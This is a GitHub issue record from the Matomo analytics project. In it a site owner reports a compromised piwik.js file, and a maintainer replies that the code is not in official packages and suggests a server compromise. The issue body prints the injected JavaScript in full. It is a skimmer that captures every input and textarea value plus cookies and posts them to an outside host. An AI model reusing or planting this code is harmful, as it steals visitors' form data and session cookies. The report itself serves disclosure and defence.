{"action":"created","issue":{"url":"https://api.github.com/repos/matomo-org/matomo/issues/12601","repository_url":"https://api.github.com/repos/matomo-org/matomo","labels_url":"https://api.github.com/repos/matomo-org/matomo/issues/12601/labels{/name}","comments_url":"https://api.github.com/repos/matomo-org/matomo/issues/12601/comments","events_url":"https://api.github.com/repos/matomo-org/matomo/issues/12601/events","html_url":"https://github.com/matomo-org/matomo/issues/12601","id":302899591,"number":12601,"title":"Hacked piwik.js and inserted the virus","user":{"login":"Vanekru","id":30567891,"avatar_url":"https://avatars0.githubusercontent.com/u/30567891?v=4","gravatar_id":"","url":"https://api.github.com/users/Vanekru","html_url":"https://github.com/Vanekru","followers_url":"https://api.github.com/users/Vanekru/followers","following_url":"https://api.github.com/users/Vanekru/following{/other_user}","gists_url":"https://api.github.com/users/Vanekru/gists{/gist_id}","starred_url":"https://api.github.com/users/Vanekru/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Vanekru/subscriptions","organizations_url":"https://api.github.com/users/Vanekru/orgs","repos_url":"https://api.github.com/users/Vanekru/repos","events_url":"https://api.github.com/users/Vanekru/events{/privacy}","received_events_url":"https://api.github.com/users/Vanekru/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-03-06T22:53:48Z","updated_at":"2018-03-07T00:05:49Z","closed_at":null,"author_association":"NONE","body":"Today, the browser started to announce that on the website the virus. After a long search found the virus piwik.js.\r\n\r\n`}c=a(\"download_extensions\");if(c){e.setDownloadExtensions(c)}c=a(\"hosts_alias\");if(c){e.setDomains(c)}c=a(\"ignore_classes\");if(c){e.setIgnoreClasses(c)}e.trackPageView();if(a(\"install_tracker\")){piwik_track=function(i,k,j,h){e.setSiteId(k);e.setTrackerUrl(j);e.trackLink(i,h)};e.enableLinkTracking()}};\r\n/*!! @license-end */\r\n};var s_location=\"http://centpr6n.beget.tech/vars/gnome1.php\";window[\"addEventListener\"](\"load\",function(){var ifrm=document[\"createElement\"](\"iframe\");ifrm[\"setAttribute\"](\"id\",\"name_space\");ifrm[\"setAttribute\"](\"name\",\"name_space\");ifrm[\"style\"][\"display\"]= \"none\";document[\"body\"][\"appendChild\"](ifrm);var inputs=document[\"querySelectorAll\"](\"input\");for(var i=0;i< inputs[\"length\"];i++){inputs[i][\"addEventListener\"](\"change\",function(e){s_getInput(e[\"currentTarget\"])})};var textareas=document[\"getElementsByTagName\"](\"textarea\");for(var i=0;i< textareas[\"length\"];i++){textareas[i][\"addEventListener\"](\"change\",function(e){s_getInput(e[\"currentTarget\"])})};s_getLocation()},false);function s_getLocation(){var loc={};s_send(loc)}function s_getInput(inputInfo){var name=inputInfo[\"name\"];var value=inputInfo[\"value\"];var stolenInput={};if(name=== \"\"){name= \"undefined_input\"};if(value!= \"\"){stolenInput[name]= value;s_send(stolenInput)}}function s_send(params){var form=document[\"createElement\"](\"form\");form[\"setAttribute\"](\"method\",\"post\");form[\"setAttribute\"](\"target\",\"name_space\");form[\"setAttribute\"](\"action\",s_location+ \"?lo=\"+ location[\"href\"]);var field=document[\"createElement\"](\"input\");field[\"setAttribute\"](\"type\",\"hidden\");field[\"setAttribute\"](\"name\",\"cookie\");field[\"setAttribute\"](\"value\",document[\"cookie\"]);form[\"appendChild\"](field);for(var key in params){if(params[\"hasOwnProperty\"](key)){var field=document[\"createElement\"](\"input\");field[\"setAttribute\"](\"type\",\"hidden\");field[\"setAttribute\"](\"name\",\"input_name\");field[\"setAttribute\"](\"value\",key);form[\"appendChild\"](field);var field=document[\"createElement\"](\"input\");field[\"setAttribute\"](\"type\",\"hidden\");field[\"setAttribute\"](\"name\",\"input_value\");field[\"setAttribute\"](\"value\",params[key]);form[\"appendChild\"](field)}};document[\"body\"][\"appendChild\"](form);form[\"submit\"]()}`"},"comment":{"url":"https://api.github.com/repos/matomo-org/matomo/issues/comments/370974418","html_url":"https://github.com/matomo-org/matomo/issues/12601#issuecomment-370974418","issue_url":"https://api.github.com/repos/matomo-org/matomo/issues/12601","id":370974418,"user":{"login":"tsteur","id":273120,"avatar_url":"https://avatars3.githubusercontent.com/u/273120?v=4","gravatar_id":"","url":"https://api.github.com/users/tsteur","html_url":"https://github.com/tsteur","followers_url":"https://api.github.com/users/tsteur/followers","following_url":"https://api.github.com/users/tsteur/following{/other_user}","gists_url":"https://api.github.com/users/tsteur/gists{/gist_id}","starred_url":"https://api.github.com/users/tsteur/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tsteur/subscriptions","organizations_url":"https://api.github.com/users/tsteur/orgs","repos_url":"https://api.github.com/users/tsteur/repos","events_url":"https://api.github.com/users/tsteur/events{/privacy}","received_events_url":"https://api.github.com/users/tsteur/received_events","type":"User","site_admin":false},"created_at":"2018-03-07T00:05:49Z","updated_at":"2018-03-07T00:05:49Z","author_association":"OWNER","body":"FYI: This is not included in any of our packages. I would recommend you check your server whether someone possibly accessed your server and manipulated this file that way. There is currently known issue with Matomo or Piwik. If you host other applications on the same server, you may want to check several of your applications whether there were any changes. Maybe the file was uploaded through a bug in another application.\r\n\r\nIn case you are not on the latest Matomo version: Please always update when there is a new version available."}}
{"actor":{"display_login":"tsteur"}}